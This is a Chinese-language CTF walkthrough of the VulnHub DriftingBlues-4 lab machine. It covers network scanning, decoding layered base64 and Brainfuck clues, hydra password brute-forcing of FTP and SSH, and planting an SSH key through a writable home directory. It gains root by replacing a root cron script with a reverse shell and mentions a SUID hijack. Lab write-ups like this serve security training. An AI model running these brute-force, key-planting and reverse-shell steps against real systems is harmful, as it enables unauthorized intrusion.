靶机地址: https://www.vulnhub.com/entry/driftingblues-4,661
1、主机探活
arp-scan -I eth0 -l (指定网卡扫) 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息)
masscan 192.168.111.0/24 -p 80,22 (masscan 扫描的网段 -p 扫描端口号)
netdiscover -i eth0 -r 192.168.184.0/24 (netdiscover -i 网卡-r 网段)
nmap -sn 192.168.111.0/24
2、端口扫描
nmap -sS -A -sV -T4 -p- 192.168.111.15
21—ftp—ProFTPD
22—ssh—OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80—http—Apache httpd 2.4.38 ((Debian))
3、80端口分析
打开一看啥也没有,直接查看源代码,出现一串base64
Z28gYmFjayBpbnRydWRlciEhISBkR2xuYUhRZ2MyVmpkWEpwZEhrZ1pISnBjSEJwYmlCaFUwSnZZak5DYkVsSWJIWmtVMlI1V2xOQ2FHSnBRbXhpV0VKellqTnNiRnBUUWsxTmJYZ3dWMjAxVjJGdFJYbGlTRlpoVFdwR2IxZHJUVEZOUjFaSlZWUXdQUT09
解码得到:
go back intruder!!! dGlnaHQgc2VjdXJpdHkgZHJpcHBpbiBhU0JvYjNCbElIbHZkU2R5WlNCaGJpQmxiWEJzYjNsbFpTQk1NbXgwV201V2FtRXliSFZhTWpGb1drTTFNR1ZJVVQwPQ==
再解码:
tight security drippin aSBob3BlIHlvdSdyZSBhbiBlbXBsb3llZSBMMmx0Wm5WamEybHVaMjFoWkM1MGVIUT0=
再解码:
i hope you're an employee L2ltZnVja2luZ21hZC50eHQ=
再解码......
/imfuckingmad.txt
访问后出现一堆奇怪的字符,应该是某种编码,放入在线网站探测一波
http://www.dcode.fr/cipher-identifier
发现是 Brainfuck 解密,然后进行解密
得到一张图片: /iTiS3Cr3TbiTCh.png
保存到本地用QR进行分析,或者直接使用在线二维码识别网站也行
得到一个url,访问看看(发现无法访问,那应该是需要科学上网了)
4、获得一些用户名,存为user.txt,将其做成字典用于21、22端口的爆破
luther
gary
Hubert
clark
密码字典使用kali自带的rockyou.txt文件
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.111.15 ftp
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.111.15 ssh
ssh爆破失败,ftp成功爆破出一个账号密码:luther/mypics
5、登录ftp进行信息探测
ftp 192.168.111.15
发现hubert家目录具有777权限,所以我们的思路是在用户hubert的目录下写入私钥,来进行免密登录
6、我们在家目录创建.ssh目录,然后直接将kali的公钥重命名为authorized_keys,并把authorized_keys上传到该目录下
ftp 192.168.9.26
输入账户:luther
输入密码:mypics
cd hubert
mkdir .ssh
cd .ssh
put authorized_keys
ssh hubert@192.168.111.15
7、提权
本地目录下还有一个py文件,属主为root,内容是执行一个系统命令:为向/tmp/backdoor_testing文件中增加1
思路:如果它是个定时任务的话我们就可以修改emergenc.py文件,内容为反弹shell,然后当以root身份运行这个定时任务的时候我们就可以获得root权限的shell
那么如何判断它是否是个定时任务呢,这里推荐使用一个文件 pspy64,可以对进程文件进行监控
下载pspy64:wget http://192.168.111.7/pspy64
chmod +x pspy64
./pspy64
发现该python文件一分钟执行一次,所以是定时任务,执行我们的思路获得root权限
尝试将1.py覆盖掉原来的emergency.py,发现不行,权限不够,
但是用nano进行修改文件,并且保存为emergency.pyM,然后再尝试进行覆盖,发现覆盖成功,然后攻击机监听1234端口
等待反弹即可获得root shell
思路二:命令劫持提权
在 shell 中寻找 suid 程序: find / -perm -u=s -type f 2>/dev/null
发现一个不常见的程序 /usr/bin/getinfo
和driftingblues3靶机操作一模一样,参考之前的文章操作也可以获得root权限
完结散花~
参考:https://www.sec-in.com/article/1401
https://www.freebuf.com/articles/others-articles/278323.html